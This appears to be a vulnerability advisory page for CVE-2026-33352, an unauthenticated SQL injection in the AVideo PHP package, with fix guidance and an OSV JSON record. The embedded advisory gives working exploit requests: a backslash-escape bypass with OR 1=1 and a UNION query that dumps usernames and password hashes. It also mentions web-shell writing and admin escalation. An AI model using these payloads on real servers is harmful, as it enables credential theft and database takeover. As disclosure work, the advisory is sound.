CVE-2026-33352: Wwbn/avideo SQL Injection Vulnerability
CRITICALCVE-2026-33352 is a CRITICAL (CVSS 9.8) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo has an unauthenticated sql injection via `donotshowcats` parameter (backslash escape bypass). Remediation is available in the latest vendor maintenance releases.
CVE-2026-33352 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-33352
To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-33352, inspect your project dependencies for Wwbn/avideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33352 Affected Wwbn/avideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 26.0
|
|
References
Frequently Asked Questions
What is CVE-2026-33352?
Which Wwbn/avideo versions are affected?
What version fixes CVE-2026-33352?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-33352?
What CWE is associated with CVE-2026-33352?
How can I check Packagist dependencies for CVE-2026-33352?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mcj5-6qr4-95fj",
"modified" : "2026-03-25T18:49:10Z",
"published" : "2026-03-19T19:25:53Z",
"aliases" : [ "CVE-2026-33352" ],
"summary" : "AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)",
"details" : "### Summary\n\nAn unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace(\"'\", '', ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in `objects/security.php`.\n\n### Affected Component\n\n**File:** `objects/category.php`, lines 386-394, inside method `getAllCategories()`\n\n```php\nif (!empty($_REQUEST['doNotShowCats'])) {\n $doNotShowCats = $_REQUEST['doNotShowCats'];\n if (!is_array($_REQUEST['doNotShowCats'])) {\n $doNotShowCats = array($_REQUEST['doNotShowCats']);\n }\n foreach ($doNotShowCats as $key => $value) {\n $doNotShowCats[$key] = str_replace(\"'\", '', $value); // INSUFFICIENT\n }\n $sql .= \" AND (c.clean_name NOT IN ('\" . implode(\"', '\", $doNotShowCats) . \"') )\";\n}\n```\n\n### Root Cause\n\n1. **Incomplete sanitization:** The only defense is `str_replace(\"'\", '', $value)`, which strips single-quote characters. It does **not** strip backslashes (`\\`).\n2. **No global filter coverage:** The `doNotShowCats` parameter is absent from every filter list in `objects/security.php` (`$securityFilter`, `$securityFilterInt`, `$securityRemoveSingleQuotes`, `$securityRemoveNonChars`, `$securityRemoveNonCharsStrict`, `$filterURL`, and the `_id` suffix pattern).\n3. **Direct string concatenation into SQL:** The filtered values are concatenated into the SQL query via `implode()` instead of using parameterized queries.\n\n### Exploitation\n\nMySQL, by default, treats the backslash (`\\`) as an escape character inside string literals (unless `NO_BACKSLASH_ESCAPES` SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that `implode()` adds, shifting the string boundary and turning the next array element into executable SQL.\n\n**Step-by-step:**\n\n1. The attacker sends:\n ```\n GET /categories.json.php?doNotShowCats[0]=\\&doNotShowCats[1]=)%20OR%201=1)--%20-\n ```\n\n2. After `str_replace(\"'\", '', ...)`, values are unchanged (no single quotes to strip):\n - Element 0: `\\`\n - Element 1: `) OR 1=1)-- -`\n\n3. After `implode(\"', '\", ...)`, the concatenated string is:\n ```\n \\', ') OR 1=1)-- -\n ```\n\n4. The full SQL becomes:\n ```sql\n AND (c.clean_name NOT IN ('\\', ') OR 1=1)-- -') )\n ```\n\n5. MySQL parses this as:\n - `'\\'` — the `\\` escapes the next `'`, making it a literal quote character inside the string. The string continues.\n - `, '` — the comma and space are part of the string. The next `'` (which was the opening quote of element 1) **closes** the string.\n - String value = `', ` (three characters: quote, comma, space)\n - `) OR 1=1)` — executable SQL. The first `)` closes `NOT IN (`, the second `)` closes the outer `AND (`.\n - `-- -` — SQL comment, discards the remainder `') )`\n\n Effective SQL:\n ```sql\n AND (c.clean_name NOT IN (', ') OR 1=1)\n ```\n This always evaluates to `TRUE`.\n\n**For data extraction (UNION-based):**\n\n```\nGET /categories.json.php?doNotShowCats[0]=\\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-\n```\n\nProduces:\n```sql\nAND (c.clean_name NOT IN ('\\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') )\n```\n\nThis appends a UNION query that extracts usernames and password hashes from the `users` table. The attacker must match the column count of the original `SELECT` (determinable through iterative probing).\n\n### Impact\n\n- **Confidentiality:** Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration.\n- **Integrity:** Ability to modify or delete any data in the database via stacked queries or subqueries (e.g., `UPDATE users SET isAdmin=1`).\n- **Availability:** Ability to drop tables or corrupt data.\n- **Potential RCE:** On MySQL configurations that allow `SELECT ... INTO OUTFILE`, the attacker could write a PHP web shell to the server's document root.\n\n### Suggested Fix\n\nReplace the string concatenation with parameterized queries:\n\n```php\nif (!empty($_REQUEST['doNotShowCats'])) {\n $doNotShowCats = $_REQUEST['doNotShowCats'];\n if (!is_array($doNotShowCats)) {\n $doNotShowCats = array($doNotShowCats);\n }\n $placeholders = array_fill(0, count($doNotShowCats), '?');\n $formats = str_repeat('s', count($doNotShowCats));\n $sql .= \" AND (c.clean_name NOT IN (\" . implode(',', $placeholders) . \") )\";\n // Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters\n}\n```\n\nAlternatively, use `$global['mysqli']->real_escape_string()` on each value as a minimum fix, though parameterized queries are strongly preferred.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "26.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-mcj5-6qr4-95fj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33352"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/206d38e97b8c854771bb2907b13f9f36e8bcf874"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-19T19:25:53Z",
"nvd_published_at" : "2026-03-23T14:16:33Z"
}
}